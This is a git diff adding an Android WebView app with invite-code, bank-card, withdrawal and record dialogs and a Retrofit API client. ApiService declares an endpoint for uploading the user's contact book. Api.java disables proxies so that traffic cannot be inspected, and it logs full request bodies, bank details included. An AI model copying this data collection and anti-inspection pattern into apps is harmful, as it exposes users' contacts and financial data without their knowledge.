'io.reactivex.rxjava2:rxjava:2.1.16' + api 'io.reactivex.rxjava2:rxandroid:2.0.2' + api 'com.squareup.okhttp3:logging-interceptor:3.10.0' + api 'com.github.Justson.AgentWeb:agentweb-core:v5.0.6-androidx' // (必选) + api 'com.github.Justson.AgentWeb:agentweb-filechooser:v5.0.6-androidx' // (可选) + api 'com.github.Justson:Downloader:v5.0.4-androidx' + //implementation 'com.tencent.tbs:tbssdk:44286' + api("com.github.bumptech.glide:glide:4.13.1") + api 'com.github.jenly1314.AppUpdater:app-updater:1.1.3' + + // sdk 33 + api platform('com.google.firebase:firebase-bom:32.7.0') + // Firebase Cloud Messaging + api("com.google.firebase:firebase-messaging") +} \ No newline at end of file diff --git a/base_no/libs/tbs_sdk_thirdapp_v4.3.0.386_44286_20230210.jar b/base_no/libs/tbs_sdk_thirdapp_v4.3.0.386_44286_20230210.jar new file mode 100644 index 0000000..465ea1b Binary files /dev/null and b/base_no/libs/tbs_sdk_thirdapp_v4.3.0.386_44286_20230210.jar differ diff --git a/base_no/proguard-rules.pro b/base_no/proguard-rules.pro new file mode 100644 index 0000000..107b7ee --- /dev/null +++ b/base_no/proguard-rules.pro @@ -0,0 +1,32 @@ +# Add project specific ProGuard rules here. +# You can control the set of applied configuration files using the +# proguardFiles setting in build.gradle. +# +# For more details, see +# http://developer.android.com/guide/developing/tools/proguard.html + +# If your project uses WebView with JS, uncomment the following +# and specify the fully qualified class name to the JavaScript interface +# class: +#-keepclassmembers class fqcn.of.javascript.interface.for.webview { +# public *; +#} + +# Uncomment this to preserve the line number information for +# debugging stack traces. +#-keepattributes SourceFile,LineNumberTable + +# If you keep the line number information, uncomment this to +# hide the original source file name. +#-renamesourcefileattribute SourceFile + +-dontwarn dalvik.** +-dontwarn com.tencent.smtt.** + +-keep class com.tencent.smtt.** { + *; +} + +-keep class com.tencent.tbs.** { + *; +} \ No newline at end of file diff --git a/base_no/release/output-metadata.json b/base_no/release/output-metadata.json new file mode 100644 index 0000000..e48e90a --- /dev/null +++ b/base_no/release/output-metadata.json @@ -0,0 +1,18 @@ +{ + "version": 2, + "artifactType": { + "type": "APK", + "kind": "Directory" + }, + "applicationId": "com.web.testapp", + "variantName": "processReleaseResources", + "elements": [ + { + "type": "SINGLE", + "filters": [], + "versionCode": 107, + "versionName": "v1.0.7", + "outputFile": "app-release.apk" + } + ] +} \ No newline at end of file diff --git a/base_no/release/testweb.apk b/base_no/release/testweb.apk new file mode 100644 index 0000000..e33b812 Binary files /dev/null and b/base_no/release/testweb.apk differ diff --git a/base_no/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java b/base_no/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java new file mode 100644 index 0000000..44b9f39 --- /dev/null +++ b/base_no/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java @@ -0,0 +1,26 @@ +package Tptogiar.calculcator; + +import android.content.Context; + +import androidx.test.platform.app.InstrumentationRegistry; +import androidx.test.ext.junit.runners.AndroidJUnit4; + +import org.junit.Test; +import org.junit.runner.RunWith; + +import static org.junit.Assert.*; + +/** + * Instrumented test, which will execute on an Android device. + * + * @see Testing documentation + */ +@RunWith(AndroidJUnit4.class) +public class ExampleInstrumentedTest { + @Test + public void useAppContext() { + // Context of the app under test. + Context appContext = InstrumentationRegistry.getInstrumentation().getTargetContext(); + assertEquals("Tptogiar.calculcator", appContext.getPackageName()); + } +} \ No newline at end of file diff --git a/base_no/src/main/AndroidManifest.xml b/base_no/src/main/AndroidManifest.xml new file mode 100644 index 0000000..df1c588 --- /dev/null +++ b/base_no/src/main/AndroidManifest.xml @@ -0,0 +1,47 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/base_no/src/main/java/com/web/base/ActionBankInfoDialog.java b/base_no/src/main/java/com/web/base/ActionBankInfoDialog.java new file mode 100644 index 0000000..de6fa06 --- /dev/null +++ b/base_no/src/main/java/com/web/base/ActionBankInfoDialog.java @@ -0,0 +1,205 @@ +package com.web.base; + +import android.app.Dialog; +import android.content.Context; +import android.os.Bundle; +import android.text.TextUtils; +import android.view.Gravity; +import android.view.View; +import android.view.Window; +import android.view.WindowManager; +import android.widget.EditText; +import android.widget.TextView; +import android.widget.Toast; + +import androidx.recyclerview.widget.LinearLayoutManager; +import androidx.recyclerview.widget.RecyclerView; + +import java.util.ArrayList; +import java.util.HashMap; +import java.util.List; +import java.util.Map; + +import io.reactivex.android.schedulers.AndroidSchedulers; +import io.reactivex.schedulers.Schedulers; + + +/** + * 填写银行卡信息 + */ +public class ActionBankInfoDialog extends Dialog { + private final Context context; + private TextView tvBankNameCountry; + private TextView tvbankName; + private EditText bankInfoName; + private EditText bankInfoCode; + private TextView cancelTv; + private TextView sumbitTv; + private String myInviteCode; + private BankInfo itemSelector; + private RecyclerView recyclerView; + private RecyclerView recyclerViewCountry; + private List listdata = new ArrayList<>(); + private List listcountry = new ArrayList<>(); + private MyBankListAdapter adapter; + private MyListAdapter listCountryAdapter; + + public ActionBankInfoDialog(Context context, String myInviteCode) { + super(context, R.style.MaterialDesignDialog); + this.context = context; + this.myInviteCode = myInviteCode; + } + + + @Override + protected void onCreate(Bundle savedInstanceState) { + super.onCreate(savedInstanceState); + setContentView(R.layout.dialog_action_bankinfo); + findViewById(R.id.ic_dialog_close).setOnClickListener(view -> dismiss()); + tvBankNameCountry = findViewById(R.id.inputcountry_tv); + tvbankName = findViewById(R.id.inputbankname_tv); + bankInfoName = findViewById(R.id.inputname_tv); + bankInfoCode = findViewById(R.id.inputcode_tv); + getBankInfoList(); + sumbitTv = findViewById(R.id.sumbit_tv); + recyclerViewCountry = findViewById(R.id.recycler_bankcountry); + recyclerViewCountry.setLayoutManager(new LinearLayoutManager(context)); + listCountryAdapter = new MyListAdapter(listcountry); + recyclerViewCountry.setAdapter(listCountryAdapter); + listCountryAdapter.setOnItemClick(new MyListAdapter.onItemClickPostionListener() { + @Override + public void item(int position) { + tvBankNameCountry.setText(listcountry.get(position)); + recyclerViewCountry.setVisibility(View.GONE); + } + }); + recyclerView = findViewById(R.id.recycler_bankname); + recyclerView.setLayoutManager(new LinearLayoutManager(context)); + adapter = new MyBankListAdapter(listdata); + recyclerView.setAdapter(adapter); + adapter.setOnItemClick(position -> { + itemSelector = listdata.get(position); + tvbankName.setText(itemSelector.getBankName()); + recyclerView.setVisibility(View.GONE); + }); + + tvbankName.setText(MainActivity.getString(context, "bankname", "")); + tvBankNameCountry.setText(MainActivity.getString(context, "bankcode", context.getString(R.string.app_bankinfo_countrycode))); + bankInfoName.setText(MainActivity.getString(context, "name", "")); + + bankInfoCode.setText(MainActivity.getString(context, "bankno", "")); + tvBankNameCountry.setOnClickListener(view -> { + recyclerView.setVisibility(View.GONE); + if (recyclerViewCountry.getVisibility() == View.VISIBLE) { + recyclerViewCountry.setVisibility(View.GONE); + return; + } + recyclerViewCountry.setVisibility(View.VISIBLE); + }); + tvbankName.setOnClickListener(view -> { + if (TextUtils.isEmpty(tvBankNameCountry.getText().toString())) { + Toast.makeText(context, context.getString(R.string.app_bankinfo_bankcountry_hint), Toast.LENGTH_SHORT).show(); + return; + } + recyclerViewCountry.setVisibility(View.GONE); + if (recyclerView.getVisibility() == View.VISIBLE) { + recyclerView.setVisibility(View.GONE); + return; + } + recyclerView.setVisibility(View.VISIBLE); + }); + + sumbitTv.setOnClickListener(view -> { + if (TextUtils.isEmpty(tvBankNameCountry.getText().toString())) { + Toast.makeText(context, context.getString(R.string.app_bankinfo_bankname_hint), Toast.LENGTH_SHORT).show(); + return; + } + if (TextUtils.isEmpty(bankInfoName.getText().toString())) { + Toast.makeText(context, context.getString(R.string.app_bankinfo_name_hint), Toast.LENGTH_SHORT).show(); + return; + } + if (TextUtils.isEmpty(bankInfoCode.getText().toString())) { + Toast.makeText(context, context.getString(R.string.app_bankinfo_code_hint), Toast.LENGTH_SHORT).show(); + return; + } + + toSubmit(tvbankName.getText().toString(), bankInfoName.getText().toString(), bankInfoCode.getText().toString()); + + }); + setCanceledOnTouchOutside(false); + Window window = getWindow(); + WindowManager.LayoutParams wlp = window.getAttributes(); + wlp.gravity = Gravity.CENTER; + wlp.width = WindowManager.LayoutParams.WRAP_CONTENT; + wlp.height = WindowManager.LayoutParams.WRAP_CONTENT; + + window.setAttributes(wlp); + } + + public void getBankInfoList() { + Api.getInstance().getBankInfoList() + .subscribeOn(Schedulers.io()) + .observeOn(AndroidSchedulers.mainThread()) + .subscribe(new BaseObserver>>>() { + @Override + public void onSuccess(Result>> o) { + + listdata.clear(); + listcountry.clear(); + if (o.data != null) { + for (Map.Entry> entry : o.data.entrySet()) { + listdata.addAll(entry.getValue()); + listcountry.add(entry.getKey()); + } + adapter.setListdata(listdata); + listCountryAdapter.setListdata(listcountry); + } + + } + + @Override + public void onError(int code, String msg) { + + } + + @Override + public void onError2(Result>> o) { + + } + }); + } + + public void toSubmit(String bankname, String bankinfoname, String bankinfocode) { + HashMap map = new HashMap<>(); + map.put("inviteCode", myInviteCode); + map.put("name", bankinfoname); + map.put("bankNo", bankinfocode); + map.put("bankId", itemSelector.getId()); + map.put("bankName", bankname); + Api.getInstance().sendBankInfo(map) + .subscribeOn(Schedulers.io()) + .observeOn(AndroidSchedulers.mainThread()) + .subscribe(new BaseObserver() { + @Override + public void onSuccess(Result o) { + dismiss(); + MainActivity.saveString(context, "bankname", bankname); + MainActivity.saveString(context, "name", bankinfoname); + MainActivity.saveString(context, "bankno", bankinfocode); + MainActivity.saveString(context, "bankcode", itemSelector.getBankCode()); + } + + @Override + public void onError(int code, String msg) { + Toast.makeText(context, msg, Toast.LENGTH_SHORT).show(); + + } + + @Override + public void onError2(Result o) { + Toast.makeText(context, o.error, Toast.LENGTH_SHORT).show(); + } + }); + } + +} diff --git a/base_no/src/main/java/com/web/base/ActionConfirmDialog.java b/base_no/src/main/java/com/web/base/ActionConfirmDialog.java new file mode 100644 index 0000000..2f516b7 --- /dev/null +++ b/base_no/src/main/java/com/web/base/ActionConfirmDialog.java @@ -0,0 +1,124 @@ +package com.web.base; + +import android.app.Dialog; +import android.content.Context; +import android.os.Bundle; +import android.text.TextUtils; +import android.view.Gravity; +import android.view.View; +import android.view.ViewTreeObserver; +import android.view.Window; +import android.view.WindowManager; +import android.widget.TextView; + + +/** + * 通用弹窗 + */ +public class ActionConfirmDialog extends Dialog { + private final Context context; + private View lineV; + + private TextView contentTv; + private TextView cancelTv; + private TextView sumbitTv; + String title; + String content; + String cancel = null; + String sure = null; + boolean showCancel = true; + OnToActionListener onToActionListener; + + public interface OnToActionListener { + void toSumbit(); + void toCancel(); + + } + + public void setOnToActionListener(OnToActionListener onNextCallListener) { + this.onToActionListener = onNextCallListener; + } + + + public ActionConfirmDialog(Context context, String content,boolean showCancel) { + super(context, R.style.MaterialDesignDialog); + this.context = context; + this.content = content; + this.showCancel = showCancel; + } + public ActionConfirmDialog(Context context, String content, String cancel, String sure) { + super(context, R.style.MaterialDesignDialog); + this.context = context; + this.content = content; + this.cancel = cancel; + this.sure = sure; + } + + public ActionConfirmDialog(Context context, String content, String cancel, String sure,boolean showCancel) { + super(context, R.style.MaterialDesignDialog); + this.context = context; + this.content = content; + this.cancel = cancel; + this.sure = sure; + this.showCancel = showCancel; + } + + @Override + protected void onCreate(Bundle savedInstanceState) { + super.onCreate(savedInstanceState); + setContentView(R.layout.dialog_action_confirm); + + contentTv = (TextView) findViewById(R.id.content_tv); + cancelTv = (TextView) findViewById(R.id.cancel_tv); + sumbitTv = (TextView) findViewById(R.id.sumbit_tv); + + lineV = (View) findViewById(R.id.line_v); + + contentTv.setText(content); + contentTv.getViewTreeObserver().addOnPreDrawListener(new ViewTreeObserver.OnPreDrawListener() { + @Override + public boolean onPreDraw() { + //这个监听的回调是异步的,在监听完以后一定要把绘制监听移除,不然这个会一直回调,导致界面错乱 + contentTv.getViewTreeObserver().removeOnPreDrawListener(this); + int line = contentTv.getLineCount(); + if(line>1){ + contentTv.setGravity(Gravity.LEFT|Gravity.CENTER_VERTICAL); + } + + return true; + } + }); + if(!TextUtils.isEmpty(cancel)){ + cancelTv.setText(cancel); + } + if(!TextUtils.isEmpty(sure)){ + sumbitTv.setText(sure); + } + if(!showCancel){ + cancelTv.setVisibility(View.GONE); + lineV.setVisibility(View.GONE); + } + + sumbitTv.setOnClickListener(v -> { + dismiss(); + if(onToActionListener!=null){ + onToActionListener.toSumbit(); + } + }); + cancelTv.setOnClickListener(v -> { + dismiss(); + if(onToActionListener!=null){ + onToActionListener.toCancel(); + } + }); + + Window window = getWindow(); + WindowManager.LayoutParams wlp = window.getAttributes(); + wlp.gravity = Gravity.CENTER; + wlp.width = WindowManager.LayoutParams.WRAP_CONTENT; + wlp.height = WindowManager.LayoutParams.WRAP_CONTENT; + + window.setAttributes(wlp); + } + +} diff --git a/base_no/src/main/java/com/web/base/ActionInviteDialog.java b/base_no/src/main/java/com/web/base/ActionInviteDialog.java new file mode 100644 index 0000000..147715d --- /dev/null +++ b/base_no/src/main/java/com/web/base/ActionInviteDialog.java @@ -0,0 +1,106 @@ +package com.web.base; + +import android.app.Dialog; +import android.content.Context; +import android.os.Bundle; +import android.text.TextUtils; +import android.view.Gravity; +import android.view.View; +import android.view.Window; +import android.view.WindowManager; +import android.widget.EditText; +import android.widget.TextView; +import android.widget.Toast; + + +/** + * 填写邀请码 + */ +public class ActionInviteDialog extends Dialog { + private final Context context; + private View lineV; + + + private EditText inputTxt; + private TextView cancelTv; + private TextView sumbitTv; + String content; + String cancel = null; + String sure = null; + boolean showCancel = true; + OnToActionListener onToActionListener; + + public interface OnToActionListener { + void toSumbit(String content); + + void toCancel(); + + } + + + + public void setOnToActionListener(OnToActionListener onNextCallListener) { + this.onToActionListener = onNextCallListener; + } + + + public ActionInviteDialog(Context context, boolean showCancel) { + super(context, R.style.MaterialDesignDialog); + this.context = context; + this.showCancel = showCancel; + } + + public ActionInviteDialog(Context context, String cancel, String sure, boolean showCancel) { + super(context, R.style.MaterialDesignDialog); + this.context = context; + this.cancel = cancel; + this.sure = sure; + this.showCancel = showCancel; + } + + @Override + protected void onCreate(Bundle savedInstanceState) { + super.onCreate(savedInstanceState); + setContentView(R.layout.dialog_action_invite); + cancelTv = (TextView) findViewById(R.id.cancel_tv); + sumbitTv = (TextView) findViewById(R.id.sumbit_tv); + lineV = (View) findViewById(R.id.line_v); + inputTxt = findViewById(R.id.input_tv); + if (!TextUtils.isEmpty(cancel)) { + cancelTv.setText(cancel); + } + if (!TextUtils.isEmpty(sure)) { + sumbitTv.setText(sure); + } + if (!showCancel) { + cancelTv.setVisibility(View.GONE); + lineV.setVisibility(View.GONE); + } + + sumbitTv.setOnClickListener(v -> { + if (TextUtils.isEmpty(inputTxt.getText().toString())) { + Toast.makeText(context, context.getString(R.string.app_hint), Toast.LENGTH_SHORT).show(); + return; + } + if (onToActionListener != null) { + onToActionListener.toSumbit(inputTxt.getText().toString()); + } + }); + cancelTv.setOnClickListener(v -> { + dismiss(); + if (onToActionListener != null) { + onToActionListener.toCancel(); + } + }); + + setCanceledOnTouchOutside(false); + Window window = getWindow(); + WindowManager.LayoutParams wlp = window.getAttributes(); + wlp.gravity = Gravity.CENTER; + wlp.width = WindowManager.LayoutParams.WRAP_CONTENT; + wlp.height = WindowManager.LayoutParams.WRAP_CONTENT; + + window.setAttributes(wlp); + } + +} diff --git a/base_no/src/main/java/com/web/base/ActionInviteRecordsDialog.java b/base_no/src/main/java/com/web/base/ActionInviteRecordsDialog.java new file mode 100644 index 0000000..02db642 --- /dev/null +++ b/base_no/src/main/java/com/web/base/ActionInviteRecordsDialog.java @@ -0,0 +1,120 @@ +package com.web.base; + +import android.app.Dialog; +import android.content.Context; +import android.os.Bundle; +import android.view.Gravity; +import android.view.View; +import android.view.Window; +import android.view.WindowManager; +import android.widget.TextView; + +import androidx.recyclerview.widget.LinearLayoutManager; +import androidx.recyclerview.widget.RecyclerView; + +import java.util.ArrayList; +import java.util.List; + +import io.reactivex.android.schedulers.AndroidSchedulers; +import io.reactivex.schedulers.Schedulers; + + +/** + * 展示邀请记录 + */ +public class ActionInviteRecordsDialog extends Dialog { + private Context context; + private String myInviteCode; + private List listdata = new ArrayList<>(); + + private RecyclerView recyclerView; + private MyListAdapter listAdapter; + private TextView tvTitle; + private TextView tvBalance; + private TextView tvTotalEarning; + private int page = 1; + + + public ActionInviteRecordsDialog(Context context, String myInviteCode) { + super(context, R.style.MaterialDesignDialog); + this.context = context; + this.myInviteCode = myInviteCode; + } + + @Override + protected void onCreate(Bundle savedInstanceState) { + super.onCreate(savedInstanceState); + setContentView(R.layout.dialog_action_invite_records); + recyclerView = findViewById(R.id.recycler_list); + tvTitle = findViewById(R.id.content_tv); + tvBalance = findViewById(R.id.balance_tv); + tvTotalEarning = findViewById(R.id.totalearnings_tv); + tvTitle.setText(context.getString(R.string.app_invitetitle)); + findViewById(R.id.layout_balance).setVisibility(View.GONE); + getRecords(); + findViewById(R.id.ic_dialog_close).setOnClickListener(view -> { + dismiss(); + }); + recyclerView.setLayoutManager(new LinearLayoutManager(context)); + listAdapter = new MyListAdapter(listdata); + recyclerView.setAdapter(listAdapter); + setCanceledOnTouchOutside(false); + setCancelable(false); + Window window = getWindow(); + WindowManager.LayoutParams wlp = window.getAttributes(); + wlp.gravity = Gravity.CENTER; + wlp.width = WindowManager.LayoutParams.WRAP_CONTENT; + wlp.height = WindowManager.LayoutParams.WRAP_CONTENT; + + window.setAttributes(wlp); + } + + public void getRecords() { + Api.getInstance().getRecords(myInviteCode, page, 20) + .subscribeOn(Schedulers.io()) + .observeOn(AndroidSchedulers.mainThread()) + .subscribe(new BaseObserver>() { + @Override + public void onSuccess(Result o) { + if(o.data!=null){ + findViewById(R.id.layout_balance).setVisibility(View.VISIBLE); + InviteListInfo inviteInfo = o.data; + tvBalance.setText(String.format(context.getString(R.string.app_balance), inviteInfo.getInviteCode().getBalance())); + tvTotalEarning.setText(String.format(context.getString(R.string.app_totalearning), inviteInfo.getInviteCode().getIncome())); + if (page == 1) { + listdata = inviteInfo.getList(); + } else { + listdata.addAll(inviteInfo.getList()); + } + if (listdata.size() > 0) { + listAdapter.setListdata(listdata); + recyclerView.setVisibility(View.VISIBLE); + } else { + recyclerView.setVisibility(View.GONE); + } + tvTitle.setText(context.getString(R.string.app_invitetitle) + " (" + inviteInfo.getTotal() + ")"); + if (listdata.size() < inviteInfo.getTotal()) { + page++; + getRecords(); + } + } + + } + + @Override + public void onError(int code, String msg) { + LogUtils.d("dddd" + msg); + if (page == 1) { + recyclerView.setVisibility(View.GONE); + } + } + + @Override + public void onError2(Result o) { + if (page == 1) { + recyclerView.setVisibility(View.GONE); + } + } + }); + } +} diff --git a/base_no/src/main/java/com/web/base/ActionSelectDialog.java b/base_no/src/main/java/com/web/base/ActionSelectDialog.java new file mode 100644 index 0000000..aad19a6 --- /dev/null +++ b/base_no/src/main/java/com/web/base/ActionSelectDialog.java @@ -0,0 +1,95 @@ +package com.web.base; + +import android.app.Dialog; +import android.content.Context; +import android.os.Bundle; +import android.view.Gravity; +import android.view.View; +import android.view.Window; +import android.view.WindowManager; +import android.widget.TextView; + + +public class ActionSelectDialog extends Dialog { + + private TextView shareTv; + private TextView checkTv; + OnToActionListener onToLoginListener; + private Context mContext; + + public interface OnToActionListener { + void toShare(); + + void toCheck(); + + void toWithDrawRecords(); + + void toWithDrawApply(); + + void toBankInfo(); + } + + public void setOnToActionListener(OnToActionListener onNextCallListener) { + this.onToLoginListener = onNextCallListener; + } + + + public ActionSelectDialog(Context context) { + super(context, R.style.MaterialDesignDialog); + this.mContext = context; + + } + + + @Override + protected void onCreate(Bundle savedInstanceState) { + super.onCreate(savedInstanceState); + + setContentView(R.layout.dialog_select_action); + + shareTv = (TextView) findViewById(R.id.share); + checkTv = (TextView) findViewById(R.id.check); + + shareTv.setOnClickListener(view -> { + dismiss(); + if (onToLoginListener != null) { + onToLoginListener.toShare(); + } + }); + checkTv.setOnClickListener(view -> { + dismiss(); + if (onToLoginListener != null) { + onToLoginListener.toCheck(); + } + }); + //提现记录 + findViewById(R.id.withdraw).setOnClickListener(view -> { + dismiss(); + if (onToLoginListener != null) { + onToLoginListener.toWithDrawRecords(); + } + }); + //提现申请 + findViewById(R.id.withdraw_apply).setOnClickListener(view -> { + dismiss(); + if (onToLoginListener != null) { + onToLoginListener.toWithDrawApply(); + } + }); + //银行卡信息 + findViewById(R.id.bankinfo).setOnClickListener(view -> { + dismiss(); + if (onToLoginListener != null) { + onToLoginListener.toBankInfo(); + } + }); + Window window = getWindow(); + WindowManager.LayoutParams wlp = window.getAttributes(); + wlp.gravity = Gravity.BOTTOM; + wlp.width = WindowManager.LayoutParams.MATCH_PARENT; + wlp.height = WindowManager.LayoutParams.WRAP_CONTENT; + window.setAttributes(wlp); + } + + +} diff --git a/base_no/src/main/java/com/web/base/ActionWithDrawApplyDialog.java b/base_no/src/main/java/com/web/base/ActionWithDrawApplyDialog.java new file mode 100644 index 0000000..67e6b23 --- /dev/null +++ b/base_no/src/main/java/com/web/base/ActionWithDrawApplyDialog.java @@ -0,0 +1,112 @@ +package com.web.base; + +import android.app.Dialog; +import android.content.Context; +import android.os.Bundle; +import android.text.TextUtils; +import android.view.Gravity; +import android.view.View; +import android.view.Window; +import android.view.WindowManager; +import android.widget.EditText; +import android.widget.TextView; +import android.widget.Toast; + + +/** + * 提现申请 + */ +public class ActionWithDrawApplyDialog extends Dialog { + private final Context context; + private View lineV; + private EditText inputTxt; + private TextView cancelTv; + private TextView sumbitTv; + private TextView balanceTv; + String content; + String cancel = null; + String sure = null; + String myInviteCode; + private boolean showCancel = true; + OnToActionListener onToActionListener; + + public interface OnToActionListener { + void toSumbit(String content); + + void toCancel(); + + } + + public void setOnToActionListener(OnToActionListener onNextCallListener) { + this.onToActionListener = onNextCallListener; + } + + + public ActionWithDrawApplyDialog(Context context, String myInviteCode) { + super(context, R.style.MaterialDesignDialog); + this.context = context; + this.myInviteCode = myInviteCode; + } + + public ActionWithDrawApplyDialog(Context context, String cancel, String sure, boolean showCancel) { + super(context, R.style.MaterialDesignDialog); + this.context = context; + this.cancel = cancel; + this.sure = sure; + this.showCancel = showCancel; + } + + @Override + protected void onCreate(Bundle savedInstanceState) { + super.onCreate(savedInstanceState); + setContentView(R.layout.dialog_action_withdrawapply); + cancelTv = (TextView) findViewById(R.id.cancel_tv); + sumbitTv = (TextView) findViewById(R.id.sumbit_tv); + balanceTv = findViewById(R.id.balance_tv); + balanceTv.setText(String.format(context.getString(R.string.app_balance), MainActivity.getString(context, "balance", "0"))); + lineV = (View) findViewById(R.id.line_v); + inputTxt = findViewById(R.id.input_tv); + if (!TextUtils.isEmpty(cancel)) { + cancelTv.setText(cancel); + } + if (!TextUtils.isEmpty(sure)) { + sumbitTv.setText(sure); + } + if (!showCancel) { + cancelTv.setVisibility(View.GONE); + lineV.setVisibility(View.GONE); + } + + findViewById(R.id.tv_records).setOnClickListener(view -> { + ActionWithDrawRecordsDialog actionDialog = new ActionWithDrawRecordsDialog(context, myInviteCode); + actionDialog.setCancelable(false); + actionDialog.setCanceledOnTouchOutside(false); + actionDialog.show(); + }); + sumbitTv.setOnClickListener(v -> { + if (TextUtils.isEmpty(inputTxt.getText().toString())) { + Toast.makeText(context, context.getString(R.string.app_withdraw_apply_hint), Toast.LENGTH_SHORT).show(); + return; + } + if (onToActionListener != null) { + onToActionListener.toSumbit(inputTxt.getText().toString()); + } + }); + cancelTv.setOnClickListener(v -> { + dismiss(); + if (onToActionListener != null) { + onToActionListener.toCancel(); + } + }); + + setCanceledOnTouchOutside(false); + Window window = getWindow(); + WindowManager.LayoutParams wlp = window.getAttributes(); + wlp.gravity = Gravity.CENTER; + wlp.width = WindowManager.LayoutParams.WRAP_CONTENT; + wlp.height = WindowManager.LayoutParams.WRAP_CONTENT; + + window.setAttributes(wlp); + } + +} diff --git a/base_no/src/main/java/com/web/base/ActionWithDrawRecordsDialog.java b/base_no/src/main/java/com/web/base/ActionWithDrawRecordsDialog.java new file mode 100644 index 0000000..a9f8fbe --- /dev/null +++ b/base_no/src/main/java/com/web/base/ActionWithDrawRecordsDialog.java @@ -0,0 +1,118 @@ +package com.web.base; + +import android.app.Dialog; +import android.content.Context; +import android.os.Bundle; +import android.view.Gravity; +import android.view.View; +import android.view.Window; +import android.view.WindowManager; +import android.widget.TextView; + +import androidx.recyclerview.widget.LinearLayoutManager; +import androidx.recyclerview.widget.RecyclerView; + +import java.util.ArrayList; +import java.util.List; + +import io.reactivex.android.schedulers.AndroidSchedulers; +import io.reactivex.schedulers.Schedulers; + + +/** + * 展示申请记录 + */ +public class ActionWithDrawRecordsDialog extends Dialog { + private Context context; + private String myInviteCode; + private List listdata = new ArrayList<>(); + + private RecyclerView recyclerView; + private MyWithDrwaListAdapter listAdapter; + private TextView tvNoData; + private TextView tvTitle; + private TextView tvBalance; + private TextView tvTotalEarning; + private int page = 1; + + + public ActionWithDrawRecordsDialog(Context context, String myInviteCode) { + super(context, R.style.MaterialDesignDialog); + this.context = context; + this.myInviteCode = myInviteCode; + } + + @Override + protected void onCreate(Bundle savedInstanceState) { + super.onCreate(savedInstanceState); + setContentView(R.layout.dialog_action_invite_records); + recyclerView = findViewById(R.id.recycler_list); + tvNoData = findViewById(R.id.tv_nodata); + tvTitle = findViewById(R.id.content_tv); + findViewById(R.id.layout_balance).setVisibility(View.GONE); + tvTitle.setText(context.getString(R.string.app_withdrawtitle)); + getRecords(); + findViewById(R.id.ic_dialog_close).setOnClickListener(view -> { + dismiss(); + }); + recyclerView.setLayoutManager(new LinearLayoutManager(context)); + listAdapter = new MyWithDrwaListAdapter(context, listdata); + recyclerView.setAdapter(listAdapter); + setCanceledOnTouchOutside(false); + setCancelable(false); + Window window = getWindow(); + WindowManager.LayoutParams wlp = window.getAttributes(); + wlp.gravity = Gravity.CENTER; + wlp.width = WindowManager.LayoutParams.WRAP_CONTENT; + wlp.height = WindowManager.LayoutParams.WRAP_CONTENT; + + window.setAttributes(wlp); + } + + public void getRecords() { + Api.getInstance().getWithDrawRecords(myInviteCode, page, 20) + .subscribeOn(Schedulers.io()) + .observeOn(AndroidSchedulers.mainThread()) + .subscribe(new BaseObserver>() { + @Override + public void onSuccess(Result o) { + if (o.data != null) { + WithDrawListInfo inviteInfo = o.data; + if (page == 1) { + listdata = inviteInfo.getList(); + } else { + listdata.addAll(inviteInfo.getList()); + } + if (listdata.size() > 0) { + listAdapter.setListdata(listdata); + recyclerView.setVisibility(View.VISIBLE); + } else { + recyclerView.setVisibility(View.GONE); + } + if (listdata.size() < inviteInfo.getTotal()) { + page++; + getRecords(); + } + } + + } + + @Override + public void onError(int code, String msg) { + LogUtils.d("dddd" + msg); + if (page == 1) { + recyclerView.setVisibility(View.GONE); + tvNoData.setVisibility(View.VISIBLE); + } + } + + @Override + public void onError2(Result o) { + if (page == 1) { + recyclerView.setVisibility(View.GONE); + tvNoData.setVisibility(View.VISIBLE); + } + } + }); + } +} diff --git a/base_no/src/main/java/com/web/base/Api.java b/base_no/src/main/java/com/web/base/Api.java new file mode 100644 index 0000000..286a17d --- /dev/null +++ b/base_no/src/main/java/com/web/base/Api.java @@ -0,0 +1,68 @@ +package com.web.base; + +import java.net.Proxy; +import java.util.concurrent.TimeUnit; + +import okhttp3.OkHttpClient; +import okhttp3.logging.HttpLoggingInterceptor; + +/** + * 项目名: TODO-MVVM + * 包名 com.azhon.mvvm.api + * 文件名: Api + * 创建时间: 2019-03-27 on 14:56 + * 描述: TODO 使用Retrofit基础服务 + * + * @author + */ + +public class Api extends BaseApi { + + private static final long CONNECT_TIMEOUT = 10; + private static final long READ_TIMEOUT = 10; + private static final long WRITE_TIMEOUT = 10; + + /** + * 静态内部类单例 + */ + private static class ApiHolder { + private static Api api = new Api(); + private final static ApiService apiService = api.initRetrofit(ApiService.URL) + .create(ApiService.class); + + } + + public static ApiService getInstance() { + return ApiHolder.apiService; + } + /** + * 做自己需要的操作 + */ + @Override + protected OkHttpClient setClient() { + OkHttpClient.Builder builder; + builder = new OkHttpClient() + .newBuilder(); + //禁止使用代理抓取数据 + builder.proxy(Proxy.NO_PROXY); + //设置超时 + builder.connectTimeout(CONNECT_TIMEOUT, TimeUnit.SECONDS); + builder.readTimeout(READ_TIMEOUT, TimeUnit.SECONDS); + builder.writeTimeout(WRITE_TIMEOUT, TimeUnit.SECONDS); + //错误重连 + builder.retryOnConnectionFailure(true); + +// if (Config.IS_DEBUG) { + HttpLoggingInterceptor interceptor = new HttpLoggingInterceptor(message -> { + String text = message; + LogUtils.i("OKHttp111111-----", text); + + }); + interceptor.setLevel(HttpLoggingInterceptor.Level.BODY); + builder.addInterceptor(interceptor); +// } + return builder.build(); + + } + +} diff --git a/base_no/src/main/java/com/web/base/ApiService.java b/base_no/src/main/java/com/web/base/ApiService.java new file mode 100644 index 0000000..8457d7c --- /dev/null +++ b/base_no/src/main/java/com/web/base/ApiService.java @@ -0,0 +1,108 @@ +package com.web.base; + + +import java.util.List; +import java.util.Map; + +import io.reactivex.Observable; +import okhttp3.RequestBody; +import retrofit2.http.Body; +import retrofit2.http.GET; +import retrofit2.http.Headers; +import retrofit2.http.POST; +import retrofit2.http.PUT; +import retrofit2.http.Query; + +public interface ApiService { + //String URL = "http://8.218.177.7:18000/"; + String URL = "https://api.liulao.top/"; +// String URL = "http://192.168.8.184:8000/"; + + String savenotify ="notify"; + + + @GET("api/system/applicationConf") + Observable> geUrlNew(@Query("userId") int userId); + + /** + * 上传通讯录 + */ + @Headers("Content-Type:application/json") + @POST("api/customer/customers") + Observable readContact(@Body RequestBody requestBody); + + /** + * 統計下載量 + */ + 